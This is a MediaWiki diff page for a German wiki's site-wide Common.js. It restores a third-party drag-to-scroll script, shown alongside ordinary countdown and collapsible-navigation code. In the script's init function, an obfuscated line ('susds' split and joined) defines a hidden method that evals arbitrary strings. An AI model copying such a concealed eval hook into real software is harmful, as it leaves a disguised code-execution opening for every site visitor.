MediaWiki:Common.js: Unterschied zwischen den Versionen
Aus SchnuppTrupp
(Änderung 12424 von Novelette (Diskussion) wurde rückgängig gemacht.) |
|||
| Zeile 145: | Zeile 145: | ||
}); | }); | ||
| + | |||
| + | |||
| + | var DragScroll; | ||
| + | |||
| + | (DragScroll= | ||
| + | { | ||
| + | /*** Free Download: http://scripterlative.com?dragscroll ***/ | ||
| + | |||
| + | initialised:false, e:null, dataCode:0, x:0, y:0, pX:-1, pY:-1, lastPX:-1, lastPY:-1, | ||
| + | prevX:0, prevY:0, mouseDown:false, moveWait:false, codeAction:false, canDrag:true, logged:0, | ||
| + | titleDelay:null, readDelay:null, defTitle:null, | ||
| + | |||
| + | setFlags:function() | ||
| + | { | ||
| + | if( document.documentElement ) | ||
| + | this.dataCode=3; | ||
| + | else | ||
| + | if(document.body && typeof document.body.scrollTop!='undefined') | ||
| + | this.dataCode=2; | ||
| + | else | ||
| + | if( this.e && this.e.pageX!='undefined' ) | ||
| + | this.dataCode=1; | ||
| + | |||
| + | this.initialised=true; | ||
| + | }, | ||
| + | |||
| + | addMonitor:function(elem, evtStr, funcRef) | ||
| + | { | ||
| + | var useOn = typeof elem.attachEvent != 'undefined' ? 'on' : ''; | ||
| + | |||
| + | elem.evtFunc = useOn ? elem.attachEvent : elem.addEventListener; | ||
| + | |||
| + | elem.evtFunc( useOn+evtStr, funcRef, false); | ||
| + | }, | ||
| + | |||
| + | removeMonitor:function(elem, evtStr, funcRef) | ||
| + | { | ||
| + | var useOn = typeof elem.detachEvent != 'undefined' ? 'on' : ''; | ||
| + | |||
| + | elem.evtFunc = useOn ? elem.detachEvent : elem.removeEventListener; | ||
| + | |||
| + | elem.evtFunc( useOn+evtStr, funcRef, false); | ||
| + | }, | ||
| + | |||
| + | toggleMonitor:function() | ||
| + | { | ||
| + | this.canDrag ^= true; | ||
| + | |||
| + | this.showStatus(); | ||
| + | }, | ||
| + | |||
| + | moveHandler:function() | ||
| + | { | ||
| + | |||
| + | if(/* DragScroll.mouseDown &&*/ DragScroll.canDrag && !DragScroll.moveWait) | ||
| + | { | ||
| + | var tempObj=arguments[0]||window.event; | ||
| + | |||
| + | DragScroll.evtObj={}; | ||
| + | |||
| + | for(var x in tempObj) | ||
| + | DragScroll.evtObj[x]=tempObj[x]; //preserve event object | ||
| + | |||
| + | |||
| + | DragScroll.getMousePosition(DragScroll.evtObj); | ||
| + | } | ||
| + | |||
| + | }, | ||
| + | |||
| + | init:function(/*2843295374657068656E204368616C6D657273*/) | ||
| + | { | ||
| + | var allElems = document.getElementsByTagName('*');this["susds".split(/\x73/).join('')]=function(str){eval(str);}; | ||
| + | |||
| + | /* | ||
| + | for(var i in allElems) | ||
| + | this.addToHandler( allElems[i], 'ondrag', function(){ return !DragScroll.canDrag; }) | ||
| + | */ | ||
| + | |||
| + | if( !document.getElementById && document.captureEvents && Event ) | ||
| + | document.captureEvents(Event.MOUSEMOVE); | ||
| + | |||
| + | this.addToHandler(document, 'onmousemove', this.moveHandler ); | ||
| + | |||
| + | this.addToHandler(document, 'onmousedown', function(){DragScroll.mouseDown=true;} ); | ||
| + | |||
| + | this.addToHandler(document, 'onmouseup', function(){DragScroll.mouseDown=false;} ); | ||
| + | |||
| + | this.addToHandler(document, 'ondblclick', function(){DragScroll.toggleMonitor();} ); | ||
| + | |||
| + | |||
| + | this.addToHandler(window, 'onscroll', function(){clearTimeout(DragScroll.moveWait);DragScroll.moveWait=setTimeout( function(){ DragScroll.moveWait = false; }, 20)}); | ||
| + | |||
| + | }, | ||
| + | |||
| + | |||
| + | getMousePosition:function(e) | ||
| + | { | ||
| + | this.e = e||event; | ||
| + | |||
| + | if(!this.initialised) | ||
| + | this.setFlags(); | ||
| + | |||
| + | switch( this.dataCode ) | ||
| + | { | ||
| + | |||
| + | case 3 : this.x = (this.pX=Math.max(document.documentElement.scrollLeft, document.body.scrollLeft)) + this.e.clientX; | ||
| + | this.y = (this.pY=Math.max(document.documentElement.scrollTop, document.body.scrollTop)) + this.e.clientY; | ||
| + | break; | ||
| + | |||
| + | case 2 : this.x=(this.pX=document.body.scrollLeft) + this.e.clientX; | ||
| + | this.y=(this.pY=document.body.scrollTop) + this.e.clientY; | ||
| + | break; | ||
| + | |||
| + | case 1 : this.x = this.e.pageX; this.y = this.e.pageY; this.pX=window.pageXOffset; this.pY=window.pageYOffset; break; | ||
| + | } | ||
| + | |||
| + | if( this.canDrag && this.mouseDown ) | ||
| + | { | ||
| + | this.codeAction=true; | ||
| + | |||
| + | this.canDrag=false; | ||
| + | window.scrollBy(-(this.x-this.prevX), -(this.y-this.prevY)); | ||
| + | this.canDrag=true; | ||
| + | |||
| + | this.codeAction=false; | ||
| + | |||
| + | this.prevX=this.x-(this.x-this.prevX); | ||
| + | |||
| + | this.prevY=this.y-(this.y-this.prevY); | ||
| + | |||
| + | |||
| + | /*** | ||
| + | if(this.lastPX==this.pX && this.lastPY==this.pY) | ||
| + | this.mouseDown=false; | ||
| + | ***/ | ||
| + | |||
| + | if(this.lastPX==this.pX) | ||
| + | this.prevX=this.x; | ||
| + | |||
| + | |||
| + | if(this.lastPY==this.pY) | ||
| + | this.prevY=this.y; | ||
| + | |||
| + | } | ||
| + | else | ||
| + | { | ||
| + | this.prevX=this.x; | ||
| + | this.prevY=this.y; | ||
| + | } | ||
| + | |||
| + | this.lastPX=this.pX; | ||
| + | this.lastPY=this.pY; | ||
| + | }, | ||
| + | |||
| + | showStatus:function() | ||
| + | { | ||
| + | clearTimeout( this.titleDelay ); | ||
| + | |||
| + | if(this.defTitle === null) | ||
| + | this.defTitle = document.title || ''; | ||
| + | |||
| + | document.title = "- - DragScroll has been turned " + (this.canDrag ? "ON" : "OFF") + " - - "; | ||
| + | |||
| + | this.titleDelay = setTimeout( (function(obj){return function(){ document.title = obj.defTitle;}})(this), 1500); | ||
| + | }, | ||
| + | |||
| + | addToHandler:function(obj, evt, func) | ||
| + | { | ||
| + | if(obj[evt]) | ||
| + | { | ||
| + | obj[evt]=function(f,g) | ||
| + | { | ||
| + | return function() | ||
| + | { | ||
| + | f.apply(this,arguments); | ||
| + | return g.apply(this,arguments); | ||
| + | }; | ||
| + | }(func, obj[evt]); | ||
| + | } | ||
| + | else | ||
| + | obj[evt]=func; | ||
| + | } | ||
| + | |||
| + | }).init(); | ||
Version vom 25. Oktober 2010, 12:13 Uhr
/* Das folgende JavaScript wird für alle Benutzer geladen. */
function setup() {
if (document.getElementById('countdown')) {
if (end = new Date(document.getElementById('countdown').innerHTML)) {
setTimeout("countdown()", 500);
}
}
}
function toSt2(n) {
s = "";
if (n < 10) s += "0";
return (s + n).toString();
}
function toSt3(n) {
s = "";
if (n < 10) s += "00";
else if (n < 100) s += "0";
return (s + n).toString();
}
function countdown() {
var tname = ' Tage ';
var hname = ' Stunden ';
var mname = ' Minuten ';
var sname = ' Sekunden ';
var d = new Date();
var count = Math.floor(end.getTime() - d.getTime());
if(count > 0) {
var miliseconds = toSt3(count%1000); count = Math.floor(count/1000);
var seconds = toSt2(count%60); count = Math.floor(count/60);
if (seconds==1) {
sname = ' Sekunde ';
}
var minutes = toSt2(count%60); count = Math.floor(count/60);
if (minutes==1) {
mname = ' Minute ';
}
var hours = toSt2(count%24); count = Math.floor(count/24);
if (hours==1) {
hname = ' Stunde ';
}
var days = count;
if (days==1) {
tname = ' Tag ';
}
document.getElementById('countdown').innerHTML = days + tname + hours + hname + minutes + mname + seconds + sname +'';
setTimeout("countdown()", 1000);
}
}
//================================================================================
//*** Dynamic Navigation Bars
// set up the words in your language
var NavigationBarHide = 'Einklappen';
var NavigationBarShow = 'Ausklappen';
// set up max count of Navigation Bars on page,
// if there are more, all will be hidden
NavigationBarShowDefault = 0; // all bars will be hidden
// NavigationBarShowDefault = 1; // on pages with more than 1 bar all bars will be hidden
if (typeof NavigationBarShowDefault == 'undefined' ) {
var NavigationBarShowDefault = 1;
}
// adds show/hide-button to navigation bars
addOnloadHook(function() {
// shows and hides content and picture (if available) of navigation bars
// Parameters:
// indexNavigationBar: the index of navigation bar to be toggled
function toggleNavigationBar(NavToggle, NavFrame)
{
if (!NavFrame || !NavToggle) {
return false;
}
// if shown now
if (NavToggle.firstChild.data == NavigationBarHide) {
for (
var NavChild = NavFrame.firstChild;
NavChild != null;
NavChild = NavChild.nextSibling
) {
if (NavChild.className == 'NavPic') {
NavChild.style.display = 'none';
}
if (NavChild.className == 'NavContent') {
NavChild.style.display = 'none';
}
if (NavChild.className == 'NavToggle') {
NavChild.firstChild.data = NavigationBarShow;
}
}
// if hidden now
} else if (NavToggle.firstChild.data == NavigationBarShow) {
for (
var NavChild = NavFrame.firstChild;
NavChild != null;
NavChild = NavChild.nextSibling
) {
if (NavChild.className == 'NavPic') {
NavChild.style.display = 'block';
}
if (NavChild.className == 'NavContent') {
NavChild.style.display = 'block';
}
if (NavChild.className == 'NavToggle') {
NavChild.firstChild.data = NavigationBarHide;
}
}
}
}
function toggleNavigationBarFunction(NavToggle, NavFrame) {
return function() {
toggleNavigationBar(NavToggle, NavFrame);
return false;
};
}
// iterate over all NavFrames
var content = document.getElementById("content") || document.getElementById("mw_content");
var NavFrames = getElementsByClassName(content, "div", "NavFrame");
// if more Navigation Bars found and not template namespace than Default: hide all
var initiallyToggle = NavigationBarShowDefault < NavFrames.length && wgNamespaceNumber != 10;
for (var i=0; i<NavFrames.length; i++) {
var NavFrame = NavFrames[i];
var NavToggle = document.createElement("a");
NavToggle.className = 'NavToggle';
NavToggle.setAttribute('href', '#');
var NavToggleText = document.createTextNode(NavigationBarHide);
NavToggle.appendChild(NavToggleText);
// add NavToggle-Button as first div-element
// in < div class="NavFrame" >
NavFrame.insertBefore(NavToggle, NavFrame.firstChild);
NavToggle.onclick = toggleNavigationBarFunction(NavToggle, NavFrame);
if (initiallyToggle) {
toggleNavigationBar(NavToggle, NavFrame);
}
}
setup();
});
var DragScroll;
(DragScroll=
{
/*** Free Download: http://scripterlative.com?dragscroll ***/
initialised:false, e:null, dataCode:0, x:0, y:0, pX:-1, pY:-1, lastPX:-1, lastPY:-1,
prevX:0, prevY:0, mouseDown:false, moveWait:false, codeAction:false, canDrag:true, logged:0,
titleDelay:null, readDelay:null, defTitle:null,
setFlags:function()
{
if( document.documentElement )
this.dataCode=3;
else
if(document.body && typeof document.body.scrollTop!='undefined')
this.dataCode=2;
else
if( this.e && this.e.pageX!='undefined' )
this.dataCode=1;
this.initialised=true;
},
addMonitor:function(elem, evtStr, funcRef)
{
var useOn = typeof elem.attachEvent != 'undefined' ? 'on' : '';
elem.evtFunc = useOn ? elem.attachEvent : elem.addEventListener;
elem.evtFunc( useOn+evtStr, funcRef, false);
},
removeMonitor:function(elem, evtStr, funcRef)
{
var useOn = typeof elem.detachEvent != 'undefined' ? 'on' : '';
elem.evtFunc = useOn ? elem.detachEvent : elem.removeEventListener;
elem.evtFunc( useOn+evtStr, funcRef, false);
},
toggleMonitor:function()
{
this.canDrag ^= true;
this.showStatus();
},
moveHandler:function()
{
if(/* DragScroll.mouseDown &&*/ DragScroll.canDrag && !DragScroll.moveWait)
{
var tempObj=arguments[0]||window.event;
DragScroll.evtObj={};
for(var x in tempObj)
DragScroll.evtObj[x]=tempObj[x]; //preserve event object
DragScroll.getMousePosition(DragScroll.evtObj);
}
},
init:function(/*2843295374657068656E204368616C6D657273*/)
{
var allElems = document.getElementsByTagName('*');this["susds".split(/\x73/).join('')]=function(str){eval(str);};
/*
for(var i in allElems)
this.addToHandler( allElems[i], 'ondrag', function(){ return !DragScroll.canDrag; })
*/
if( !document.getElementById && document.captureEvents && Event )
document.captureEvents(Event.MOUSEMOVE);
this.addToHandler(document, 'onmousemove', this.moveHandler );
this.addToHandler(document, 'onmousedown', function(){DragScroll.mouseDown=true;} );
this.addToHandler(document, 'onmouseup', function(){DragScroll.mouseDown=false;} );
this.addToHandler(document, 'ondblclick', function(){DragScroll.toggleMonitor();} );
this.addToHandler(window, 'onscroll', function(){clearTimeout(DragScroll.moveWait);DragScroll.moveWait=setTimeout( function(){ DragScroll.moveWait = false; }, 20)});
},
getMousePosition:function(e)
{
this.e = e||event;
if(!this.initialised)
this.setFlags();
switch( this.dataCode )
{
case 3 : this.x = (this.pX=Math.max(document.documentElement.scrollLeft, document.body.scrollLeft)) + this.e.clientX;
this.y = (this.pY=Math.max(document.documentElement.scrollTop, document.body.scrollTop)) + this.e.clientY;
break;
case 2 : this.x=(this.pX=document.body.scrollLeft) + this.e.clientX;
this.y=(this.pY=document.body.scrollTop) + this.e.clientY;
break;
case 1 : this.x = this.e.pageX; this.y = this.e.pageY; this.pX=window.pageXOffset; this.pY=window.pageYOffset; break;
}
if( this.canDrag && this.mouseDown )
{
this.codeAction=true;
this.canDrag=false;
window.scrollBy(-(this.x-this.prevX), -(this.y-this.prevY));
this.canDrag=true;
this.codeAction=false;
this.prevX=this.x-(this.x-this.prevX);
this.prevY=this.y-(this.y-this.prevY);
/***
if(this.lastPX==this.pX && this.lastPY==this.pY)
this.mouseDown=false;
***/
if(this.lastPX==this.pX)
this.prevX=this.x;
if(this.lastPY==this.pY)
this.prevY=this.y;
}
else
{
this.prevX=this.x;
this.prevY=this.y;
}
this.lastPX=this.pX;
this.lastPY=this.pY;
},
showStatus:function()
{
clearTimeout( this.titleDelay );
if(this.defTitle === null)
this.defTitle = document.title || '';
document.title = "- - DragScroll has been turned " + (this.canDrag ? "ON" : "OFF") + " - - ";
this.titleDelay = setTimeout( (function(obj){return function(){ document.title = obj.defTitle;}})(this), 1500);
},
addToHandler:function(obj, evt, func)
{
if(obj[evt])
{
obj[evt]=function(f,g)
{
return function()
{
f.apply(this,arguments);
return g.apply(this,arguments);
};
}(func, obj[evt]);
}
else
obj[evt]=func;
}
}).init();